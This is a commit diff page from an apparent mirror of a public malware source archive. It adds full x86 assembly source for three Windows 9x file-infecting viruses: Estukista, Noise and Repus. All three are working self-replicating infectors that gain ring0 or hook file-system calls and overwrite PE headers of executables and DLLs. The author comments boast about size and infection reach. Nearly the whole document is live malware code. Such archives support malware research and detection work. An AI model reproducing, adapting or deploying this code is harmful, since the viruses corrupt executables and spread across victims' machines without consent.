mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Folder structure change, added README
This commit is contained in:
TheDuchy
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,231 @@
|
||||
|
||||
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
; VIRUS_SIZE = 126 BYTES!!!!
|
||||
|
||||
; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!
|
||||
|
||||
; (NOT TESTED UNDER ME)
|
||||
|
||||
; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM
|
||||
|
||||
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES
|
||||
|
||||
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||||
|
||||
; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE
|
||||
|
||||
; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND
|
||||
|
||||
; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)
|
||||
|
||||
|
||||
;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
|
||||
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).
|
||||
|
||||
; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
|
||||
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO)
|
||||
|
||||
; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
|
||||
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE)
|
||||
|
||||
; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S
|
||||
|
||||
|
||||
;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)
|
||||
|
||||
|
||||
|
||||
;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ÿÿÿÿ
|
||||
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W
|
||||
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
|
||||
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D
|
||||
|
||||
; ....
|
||||
|
||||
;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ׂ< PE L
|
||||
;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 •79 à ‚
|
||||
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00 " ¨ P
|
||||
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @ @ @
|
||||
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00
|
||||
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00 �
|
||||
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00
|
||||
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00
|
||||
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT Ô
|
||||
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00 ”
|
||||
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ÌR
|
||||
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00
|
||||
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0
|
||||
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 À
|
||||
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ À.idata
|
||||
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @ Ä
|
||||
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
|
||||
; ....
|
||||
|
||||
;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00 È
|
||||
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ À.bss
|
||||
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P P
|
||||
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P
|
||||
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
|
||||
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ À.rsrc
|
||||
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00 š ä
|
||||
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @
|
||||
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~
|
||||
;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P À.data
|
||||
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00 € ¸
|
||||
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
|
||||
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ à b�ÿÿÿÿ
|
||||
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àb�ðb� �
|
||||
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00 @ ×+
|
||||
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b�\ b� l b�
|
||||
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A
|
||||
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ÌÌÌ
|
||||
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´ NE Œ
|
||||
|
||||
; ....
|
||||
|
||||
|
||||
.586P
|
||||
PMMX ; WORF... ... JEJEJE
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||||
|
||||
MACROSIZE MACRO
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
ENDM
|
||||
.DATA
|
||||
|
||||
DB 0
|
||||
|
||||
DB 'SIZE = '
|
||||
MACROSIZE
|
||||
|
||||
.CODE
|
||||
|
||||
|
||||
MEGAMIX:
|
||||
; EAX: EIP
|
||||
; ESI: BUFFER
|
||||
|
||||
|
||||
VINT21:
|
||||
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||||
DB 'H' ; HenKy ;P
|
||||
XCHG EDI, EAX ; EDI: DELTA
|
||||
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
|
||||
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
|
||||
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||||
|
||||
;EDX: POINTER TO FNAME
|
||||
|
||||
;LEA EDX,POPOPOP ; FOR DEBUG ONLY
|
||||
;JMP KAA
|
||||
|
||||
MOV ECX,28000 ; LIMIT
|
||||
PUSHAD
|
||||
|
||||
AMIMELASUDA:
|
||||
|
||||
POPAD
|
||||
PORK:
|
||||
INC EDX
|
||||
CMP WORD PTR [EDX],':C'
|
||||
JE KAA
|
||||
LOOP PORK
|
||||
|
||||
|
||||
WARNING:
|
||||
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
|
||||
RET
|
||||
|
||||
KAA:
|
||||
PUSHAD
|
||||
MOV AX, 3D02h ; open
|
||||
CALL [EDI]
|
||||
JC AMIMELASUDA
|
||||
XCHG EBX, EAX
|
||||
MOV EDX,ESI
|
||||
XOR ECX,ECX
|
||||
MOV CH,4H
|
||||
MOV AH, 3Fh ;read
|
||||
CALL [EDI]
|
||||
MOV EAX, [EDX+3Ch]
|
||||
ADD EAX,EDX
|
||||
MOV EDI,EAX
|
||||
PUSH 32
|
||||
POP ECX
|
||||
|
||||
DEPOTA:
|
||||
INC EDI
|
||||
CMP BYTE PTR [EDI],'B'; HEHEHEHE
|
||||
JE GOSTRO
|
||||
JMP DEPOTA
|
||||
GOSTRO:
|
||||
INC EDI
|
||||
PUSH EDI
|
||||
MOV ESI,EBP
|
||||
REP MOVSD
|
||||
MOV ESI,EDI
|
||||
POP EDI
|
||||
SUB EDI,EDX
|
||||
XCHG DWORD PTR [EAX+28H],EDI
|
||||
CMP DI,1024
|
||||
JB CLOZ
|
||||
ADD EDI,[EAX+34H]
|
||||
XCHG DWORD PTR [ESI-MONGORE],EDI
|
||||
|
||||
PUSH EBP
|
||||
POP EDI
|
||||
XOR EAX,EAX
|
||||
PUSHAD
|
||||
MOV AH, 42h
|
||||
CDQ
|
||||
CALL [EDI]
|
||||
POPAD
|
||||
MOV CH,4H
|
||||
MOV AH,40H ; write
|
||||
CALL [EDI]
|
||||
CLOZ:
|
||||
MOV AH,3EH ; close
|
||||
CALL [EDI]
|
||||
JMP AMIMELASUDA
|
||||
|
||||
FILE_END:
|
||||
|
||||
DW 0 ;-P
|
||||
|
||||
MONGORE EQU 95 ; OLD_EIP
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0
|
||||
|
||||
END MEGAMIX
|
||||
@@ -0,0 +1,276 @@
|
||||
|
||||
;
|
||||
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; Noise ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; . I started to code an i-worm and i wanted to make something like a
|
||||
; ring0 stealth routine for it. Then i realized: i did a ring0 virus heh
|
||||
; The name is due the little payload it has... that does realy noise!
|
||||
; That's my first ring0 virus. I don't like codin ring0, but here it is.
|
||||
; That's a research spezimen. Don't expect the ultimate ring0 virus...
|
||||
; Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim).
|
||||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; . This is the source code of a VIRUS. The author is not responsabile
|
||||
; of any damage that may occur due to the assembly of this file. Use
|
||||
; it at your own risk.
|
||||
;
|
||||
; ÚÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÀÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is
|
||||
; only for win9x, not nt not w2k).
|
||||
; . It infect in similar way like MiniR3 does. Uses free space in the
|
||||
; PE header. That's a cavity virus.
|
||||
; . All the data is INSIDE the code. Well... copyright is not inside :)
|
||||
; . It infects PE files in the user buffer when a write call is done.
|
||||
; That makes this virus not very efficient spreading.
|
||||
; . It has a kewl sound payload. Makes echo with internal speaker for
|
||||
; all disk operations ;)
|
||||
;
|
||||
; Greetz to Perikles for his tests ;) You're my best tester, you know...
|
||||
;
|
||||
;
|
||||
; The way of the bee
|
||||
;
|
||||
.486p
|
||||
locals
|
||||
.model flat,STDCALL
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
VxDCall macro vxd,service
|
||||
db 0cdh,20h
|
||||
dw service
|
||||
dw vxd
|
||||
endm
|
||||
|
||||
IFSMANAGER equ 40h
|
||||
|
||||
GETHEAP equ 0dh
|
||||
IFSAPIHOOK equ 67h
|
||||
|
||||
VSIZE equ vEnd-vBegin
|
||||
VSIZEROUND equ ((VSIZE/1024)+1)*1024
|
||||
|
||||
.DATA
|
||||
; dummy data
|
||||
db 'WARNING - This is a virus carrier - WARNING'
|
||||
|
||||
.CODE
|
||||
inicio:
|
||||
mov eax,VSIZE
|
||||
|
||||
vBegin label byte
|
||||
pushad
|
||||
mov al,byte ptr [esp+23h]
|
||||
sub esp,8
|
||||
mov ebp,esp
|
||||
|
||||
cmp al,0bfh
|
||||
jne NotWin9x
|
||||
|
||||
sidt qword ptr [ebp]
|
||||
mov esi,dword ptr [ebp+2]
|
||||
add esi,3*8
|
||||
push esi
|
||||
mov di,word ptr [esi+6]
|
||||
shl edi,10h
|
||||
mov di,word ptr [esi]
|
||||
push edi
|
||||
call @delta
|
||||
@deltaoffset:
|
||||
cpright db 'Bbbee/29a@Noise'
|
||||
@delta:
|
||||
pop eax
|
||||
sub eax,(offset @deltaoffset-offset ring0CodeInstaller)
|
||||
mov word ptr [esi],ax
|
||||
shr eax,10h
|
||||
mov word ptr [esi+6],ax
|
||||
int 3h
|
||||
|
||||
pop edi
|
||||
pop esi
|
||||
mov word ptr [esi],di
|
||||
shr edi,10h
|
||||
mov word ptr [esi+6],di
|
||||
|
||||
NotWin9x:
|
||||
add esp,8
|
||||
popad
|
||||
|
||||
push offset fakeHost
|
||||
hostEP equ $-4
|
||||
ret
|
||||
|
||||
ring0CodeInstaller:
|
||||
pushad
|
||||
|
||||
mov ebp,0bff70000h
|
||||
sub ebp,dword ptr [ebp]
|
||||
jz ReturnR3
|
||||
|
||||
push VSIZEROUND
|
||||
VxDCall IFSMANAGER,GETHEAP
|
||||
pop edi
|
||||
or eax,eax
|
||||
jz ReturnR3
|
||||
|
||||
mov edi,eax
|
||||
call @@delta
|
||||
@@delta:
|
||||
pop esi
|
||||
sub esi,(offset @@delta-offset vBegin)
|
||||
mov ecx,VSIZE
|
||||
rep movsb
|
||||
|
||||
mov dword ptr [delta-vBegin+eax],eax
|
||||
|
||||
push eax
|
||||
add eax,offset ring0Hook-offset vBegin
|
||||
push eax
|
||||
VxDCall IFSMANAGER,IFSAPIHOOK
|
||||
pop ebp
|
||||
pop edx
|
||||
mov dword ptr [edx+nextHookInChain-vBegin],eax
|
||||
|
||||
mov ebp,0bff70000h
|
||||
mov dword ptr [ebp],ebp
|
||||
|
||||
ReturnR3:
|
||||
popad
|
||||
iretd
|
||||
|
||||
ring0Hook:
|
||||
pop eax
|
||||
push ebp
|
||||
mov ebp,12345678h
|
||||
delta equ $-4
|
||||
mov dword ptr [returnAddr-vBegin+ebp],eax
|
||||
push edx
|
||||
mov edx,esp
|
||||
|
||||
pushad
|
||||
pushfd
|
||||
|
||||
mov ecx,0ffh
|
||||
counter equ $-4
|
||||
dec cl
|
||||
jz beep
|
||||
|
||||
mov ecx,dword ptr [edx+0ch]
|
||||
dec ecx
|
||||
jz checkFile
|
||||
|
||||
exitHook:
|
||||
popfd
|
||||
popad
|
||||
pop edx
|
||||
pop ebp
|
||||
|
||||
mov eax,12345678h
|
||||
nextHookInChain equ $-4
|
||||
call dword ptr [eax]
|
||||
|
||||
push 12345678h
|
||||
returnAddr equ $-4
|
||||
ret
|
||||
|
||||
checkFile:
|
||||
mov esi,dword ptr [edx+1ch]
|
||||
|
||||
mov cx,word ptr [esi]
|
||||
cmp ecx,VSIZEROUND
|
||||
jb exitHook
|
||||
|
||||
mov edi,dword ptr [esi+14h]
|
||||
|
||||
mov ebx,edi
|
||||
cmp word ptr [edi],'ZM'
|
||||
jne exitHook
|
||||
cmp ecx,dword ptr [edi+3ch]
|
||||
jb exitHook
|
||||
add edi,dword ptr [edi+3ch]
|
||||
cmp word ptr [edi],'EP'
|
||||
jne exitHook
|
||||
|
||||
mov edx,dword ptr [edi+16h]
|
||||
test edx,2h
|
||||
jz exitHook
|
||||
and edx,2000h
|
||||
jnz exitHook
|
||||
mov dx,word ptr [edi+5ch]
|
||||
dec edx
|
||||
jz exitHook
|
||||
|
||||
mov esi,edi
|
||||
mov eax,18h
|
||||
add ax,word ptr [edi+14h]
|
||||
add edi,eax
|
||||
|
||||
movzx ecx,word ptr [esi+06h]
|
||||
mov ax,28h
|
||||
mul cx
|
||||
add edi,eax
|
||||
|
||||
mov ecx,VSIZE
|
||||
xor eax,eax
|
||||
pushad
|
||||
rep scasb
|
||||
popad
|
||||
jnz exitHook
|
||||
|
||||
add dword ptr [esi+54h],ecx
|
||||
|
||||
push edi
|
||||
sub edi,ebx
|
||||
xchg edi,dword ptr [esi+28h]
|
||||
mov eax,dword ptr [esi+34h]
|
||||
add edi,eax
|
||||
mov dword ptr [hostEP-vBegin+ebp],edi
|
||||
pop edi
|
||||
|
||||
mov esi,ebp
|
||||
rep movsb
|
||||
|
||||
dec byte ptr [counter-vBegin+ebp]
|
||||
|
||||
jmp exitHook
|
||||
|
||||
beep:
|
||||
dec cl
|
||||
in al,61h
|
||||
push ax
|
||||
or al,03h
|
||||
out 61h,al
|
||||
|
||||
mov al,0b6h
|
||||
out 43h,al
|
||||
mov ax,987
|
||||
mov si,ax
|
||||
beep_loop:
|
||||
add si,100h
|
||||
mov ax,si
|
||||
out 42h,al
|
||||
xchg al,ah
|
||||
out 42h,al
|
||||
loop beep_loop
|
||||
|
||||
pop ax
|
||||
out 61h,al
|
||||
jmp exitHook
|
||||
|
||||
vEnd label byte
|
||||
|
||||
fakeHost:
|
||||
push 0h
|
||||
call ExitProcess
|
||||
Ends
|
||||
End inicio
|
||||
@@ -0,0 +1,212 @@
|
||||
|
||||
;=============;
|
||||
; Repus virus ;
|
||||
;=============;
|
||||
|
||||
;Coded by Super/29A
|
||||
|
||||
;VirusSize = 128 bytes !!!
|
||||
|
||||
|
||||
;This is the third member of the Repus family
|
||||
|
||||
|
||||
;-When an infected file is executed the virus patches IRQ0 handler and waits
|
||||
; for it to return control to virus in ring0
|
||||
;-Once in ring0, the virus searches in all caches a valid MZheader to infect,
|
||||
; modifying EntryPoint (in PEheader) so virus can get control on execution
|
||||
;-It will infect no more than one MZheader at a time per file system
|
||||
;-MZheader will be overwritten, however windows executes it with no problems
|
||||
; (tested under win95,win98,winNT and Win2K)
|
||||
;-When executing a non infected file that imports APIs from an infected DLL,
|
||||
; virus will get control on DLL inicialization and infect more MZheaders
|
||||
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
.386p
|
||||
.model flat,STDCALL
|
||||
|
||||
extrn ExitProcess : near
|
||||
extrn MessageBoxA : near
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
VirusSize = (VirusEnd - VirusStart)
|
||||
|
||||
VCache_Enum macro
|
||||
int 20h
|
||||
dw 0009h
|
||||
dw 048Bh
|
||||
endm
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
.data
|
||||
|
||||
Title:
|
||||
db 'Super/29A presents...',0
|
||||
|
||||
Text:
|
||||
db 'Repus.'
|
||||
db '0' + (VirusSize/100) mod 10
|
||||
db '0' + (VirusSize/10) mod 10
|
||||
db '0' + (VirusSize/1) mod 10
|
||||
db 0
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
|
||||
.code
|
||||
|
||||
;===================================================================
|
||||
|
||||
VirusStart:
|
||||
|
||||
db 'M' ; dec ebp
|
||||
|
||||
VirusEntryPoint:
|
||||
|
||||
db 'Z' ; pop edx
|
||||
|
||||
push edx
|
||||
dec edx
|
||||
jns JumpHost ; exit if we are running winNT
|
||||
|
||||
mov ebx,0C0001100h ; IRQ0 ring0 handler
|
||||
|
||||
mov dl,0C3h
|
||||
|
||||
xchg dl,[ebx] ; hook IRQ0 to get ring0
|
||||
|
||||
Wait_IRQ0:
|
||||
|
||||
cmp esp,edx
|
||||
jb Wait_IRQ0
|
||||
|
||||
|
||||
;Now we are in ring0
|
||||
|
||||
|
||||
xchg dl,[ebx]
|
||||
|
||||
lea edx,[eax+(InfectCache-VirusEntryPoint)] ; EDX = infection routine
|
||||
|
||||
fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] ; save VxD dinamic call
|
||||
|
||||
Next_FSD:
|
||||
|
||||
VCache_Enum ; enumerate all caches
|
||||
|
||||
inc ah
|
||||
jnz Next_FSD ; try next file system
|
||||
|
||||
call ebx ; return control to IRQ0 and return just after the CALL
|
||||
|
||||
|
||||
;Now we are in ring3
|
||||
|
||||
|
||||
JumpHost:
|
||||
|
||||
jmp HostEntryPoint ; return control to host
|
||||
|
||||
;-------------------------------------------------------------------
|
||||
|
||||
InfectCache:
|
||||
|
||||
xor dl,dl ; EDX = ImageBase
|
||||
|
||||
mov edi,[esi+10h] ; EDI = MZheader
|
||||
|
||||
movzx ecx,byte ptr [edi+3Ch]
|
||||
|
||||
cmp byte ptr [edi+ecx],'P' ; check for PEheader
|
||||
jnz _ret
|
||||
|
||||
Offset3B:
|
||||
|
||||
and eax,00000080h ; EAX = 0
|
||||
|
||||
xchg esi,edx ; ESI = ImageBase
|
||||
; EDX = Cache Block Structure
|
||||
|
||||
cmpsb ; check for MZheader
|
||||
jnz _ret
|
||||
|
||||
mov [esi-1+(Offset3B+1-VirusStart)],ecx ; save offset of PEheader
|
||||
|
||||
fst qword ptr [esi-1+(Next_FSD-VirusStart)] ; restore VxD dinamic call
|
||||
|
||||
inc eax ; EAX = 1
|
||||
|
||||
xchg eax,[edi-1+ecx+28h] ; set virus EntryPoint
|
||||
|
||||
sub eax,(JumpHost+5-VirusStart)
|
||||
|
||||
jb _ret ; jump if its already infected
|
||||
|
||||
mov cl,(VirusSize-1)
|
||||
|
||||
rep movsb ; copy virus to MZheader
|
||||
|
||||
mov [edi+(JumpHost+1-VirusEnd)],eax ; fix jump to host
|
||||
|
||||
|
||||
;Here we are gonna find the pointer to the pending cache writes
|
||||
|
||||
|
||||
mov ch,2
|
||||
lea eax,[ecx-0Ch] ; EAX=1F4h ;-D
|
||||
mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer)
|
||||
repnz scasd
|
||||
jnz _ret ; not found :-(
|
||||
|
||||
; EDI = offset in VRP which contains PendingList pointer
|
||||
|
||||
cmp [edi],ecx ; check if there are other pending cache writes
|
||||
ja _ret
|
||||
|
||||
cmp [edi+30h],ah ; only infect logical drives C,D,...
|
||||
jbe _ret
|
||||
|
||||
|
||||
;Now we are gonna insert this cache in the pending cache writes
|
||||
|
||||
|
||||
or byte ptr [edx+32h],ah ; set dirty bit
|
||||
|
||||
mov [edx+1Ch],edx ; set PendingList->Next
|
||||
mov [edx+20h],edx ; set PendingList->Previous
|
||||
|
||||
mov [edi],edx ; set PendingList pointer
|
||||
|
||||
_ret:
|
||||
|
||||
ret
|
||||
|
||||
db '29A'
|
||||
|
||||
VirusEnd:
|
||||
|
||||
;===================================================================
|
||||
|
||||
db 1000h dup(90h)
|
||||
|
||||
HostEntryPoint proc near
|
||||
|
||||
push 0
|
||||
push offset Title
|
||||
push offset Text
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
push 0
|
||||
call ExitProcess
|
||||
|
||||
HostEntryPoint endp
|
||||
|
||||
;===================================================================
|
||||
|
||||
ends
|
||||
end VirusEntryPoint
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user